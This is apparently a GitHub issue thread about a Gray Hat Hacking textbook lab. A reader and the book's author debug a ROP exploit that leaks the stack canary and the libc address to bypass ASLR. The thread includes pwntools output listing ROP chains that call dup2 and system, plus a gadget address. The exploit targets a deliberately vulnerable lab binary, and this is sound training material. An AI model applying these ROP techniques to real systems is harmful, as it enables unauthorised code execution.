Lab 11-4 Unable to leak elf got write

[istern]

Hi When runnign the exploit3.py from chapter 11 (lab11-4 ASLR bypass with an Information Leak) I can't get the exploit to work it recvieving a False when trying to resolve the the adresse of got.write

so the vuln.c is compiled

$ gcc -no-pie -fstack-protector vuln.c -o vuln   

running checksec to verify

$ checksec vuln                          
[*] '/home/kali/GHHv6/ch11/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ASLR enabled

 $cat /proc/sys/kernel/randomize_va_space
2

after some debugging i can see this

leaked_write = exploit(payload + bytes(s1_rop), leak=True)

is failing ie. hitting the EOFError and getting a false back so i seems like the canary is wrong, somehow maybe.. Giving a negative libc.address

libc.address = leaked_write - libc.sym.write

Just exploit 1 and 2 is working as expected.

I'm running kali 2022.1 through vm ware.

[htejeda]

Hello Thomas,

The Kali version used at the time of writing was 2020.4 (GCC 10.2.0). Newer Kali/GCC versions break the exploit because the stack canary validation now affects the rdx register.

  0x401328 <auth+194>       mov    rdx, QWORD PTR [rbp-0x8]
  0x40132c <auth+198>       sub    rdx, QWORD PTR fs:0x28

Before, the stack canary validation was done on the rsi register, leaving the rdx register intact, with the value 0x55 (after strncmp):

  0x401321 <auth+191>       mov    rsi, QWORD PTR [rbp-0x8]
  0x401325 <auth+195>       sub    rsi, QWORD PTR fs:0x28

The reason why it breaks the exploit is because we’re using the write syscall to leak write@got, but since rdx is set to 0, it will “write” 0 bytes to fd 4 (the current socket):

sys_write(unsigned int fd, const char *buf, size_t count)
$rax   : 0x1 = sys_write system call
$rdi   : 0x4 = fd
$rsi   : 0x404030 = const char *buf (write@got)
$rdx   : 0x0 = count
$rip   : 0x007ffff7ec4601  →  <write+17> syscall

To make the info leak work again, we need to find a way to set rdx before calling write(4, write@got). I've made the following changes https://github.com/GrayHatHacking/GHHv6/commit/4211b5785eedc771fe8ac29a4822d21f15255c2a:

1. I uploaded the vuln file compiled on Kali 2020.4, this way you can keep following the same steps from the book in your Kali version.
2. There’s a new working exploit (exploit3-v2.py) with a workaround to this problem. It should work on newer Kali versions (tested on Kali 2022.1 and Kali 2022.2).

[istern]

Hi Thank you for quick follow up. It makes sense i could also see this when doing lab11-3. with the swap of rsi to rdx. I've pulled all your changes. Tried using the supplied vuln file also tried recompiling vuln and running both exploit "exploit3.py" and exploit3-v2.py" with out any luck. i still get a negative libc baseaddress. I've confirmed the precompiled vuln file is using rsi

i've pasted the output below for a run wih precompiled vuln and exploit3.py script

─$ python3 exploit3.py   
[*] '/home/kali/GHHv6/ch11/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Canary: ['0xdd', '0x63', '0x3', '0x3d', '0x23', '0x5b', '0xd2', '0x0']
/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Leaked Canary = 0xdd63033d235bd200
[*] Loaded 14 cached gadgets for './vuln'
[*] Stage 1 ROP Chain:
    0x0000:         0x40167b pop rdi; ret
    0x0008:              0x4 [arg0] rdi = 4
    0x0010:         0x401679 pop rsi; pop r15; ret
    0x0018:         0x404030 [arg1] rsi = got.write
    0x0020:      b'iaaajaaa' <pad r15>
    0x0028:         0x401060 write
[*] libc_base == -0xee5f0
[*] Loaded 189 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Stage 2 ROP Chain:
    0x0000:         -0xc69b3 pop rdi; ret
    0x0008:              0x4 [arg0] rdi = 4
    0x0010:         -0xc51e1 pop rsi; ret
    0x0018:              0x0 [arg1] rsi = __write
    0x0020:            0x780 dup2
    0x0028:         -0xc69b3 pop rdi; ret
    0x0030:              0x4 [arg0] rdi = 4
    0x0038:         -0xc51e1 pop rsi; ret
    0x0040:              0x1 [arg1] rsi = 1
    0x0048:            0x780 dup2
    0x0050:         -0xc69b3 pop rdi; ret
    0x0058:              0x4 [arg0] rdi = 4
    0x0060:         -0xc51e1 pop rsi; ret
    0x0068:              0x2 [arg1] rsi = 2
    0x0070:            0x780 dup2
    0x0078:         -0xc69b3 pop rdi; ret
    0x0080:          0xaa292 [arg0] rdi = 696978
    0x0088:         -0xa4d90 system

[htejeda]

Very strange! I've made a fresh install of Kali 2022.1 and both solutions work well. Can you please try running it on Kali 2020.4?

$ python3 exploit3.py
[*] '/home/htejeda/GHHv6/ch11/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Canary: ['0xd1', '0x74', '0xd6', '0xfc', '0xda', '0xc5', '0x9a', '0x0']
[*] Leaked Canary = 0xd174d6fcdac59a00
[*] Loaded 14 cached gadgets for './vuln'
...
...
[*] libc_base == 0x7f8ba519f000
[*] Loaded 189 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Stage 2 ROP Chain:
...
...
$ whoami
htejeda

$ python3 exploit3-v2.py
[*] '/home/htejeda/GHHv6/ch11/vuln2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Canary: ['0xb4', '0x8c', '0x5a', '0x86', '0x10', '0xcc', '0x7d', '0x0']
[*] Leaked Canary = 0xb48c5a8610cc7d00
[*] Loaded 14 cached gadgets for './vuln2'
[*] Stage 1 ROP Chain:
...
...
[*] libc_base == 0x7ffff7dd6000
[*] Loaded 189 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Stage 2 ROP Chain:
    0x0000:   0x7ffff7dff40f pop rsi; ret
...
...
$ whoami
htejeda

[istern]

Hi again I setup a new 2020.4 machine and test. And post the result. However I've test on 2021.4 also same issue and setup a new 2022.1 all vmware workstation. However on a mac running vm fusion it works as expected. with the supplied/precompiled vuln version.

[istern]

I can confirm it is working on 2020.4 install. so it could be a thing vmware version since it is working in fusion maybe ?

[htejeda]

I'm glad it's working. The VMware version shouldn't be a problem, but I'll have a look later.

[istern]

Sorry i didn't manage to get back sooner but just wanted to let you know that the new v2 file I can't get that to work. at all.

[istern]

Teste on kali2022.2 same issue with precompiled and the new exploit3-v2.py

[htejeda]

This is outside of the scope of the book, but I made exploit3-v2.py as an example to help you understand how to analyze and fix the exploit in Kali versions earlier than 2020.4.

If you are on Kali 2022.2, you should compile vuln.c in order to use exploit3-v2.py. Also, confirm that the gadget address is correct in your new compiled binary:

s1_payload += p64(0x40123c) # adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x11c0; 
                            # mov byte ptr [rip + 0x2e83], 1; pop rbp; ret

[istern]

First thank you for taking the time. I've compiled the vuln.c And what I'm trying to figure out is exactly your alst question how to "confirm that the gadget address is correct in your new compiled binary:"

Also just for anyone else getting here. The exploit v2 is working when running the your own compiled version of vuln.c in gdb. But not outside gdb.

-Regards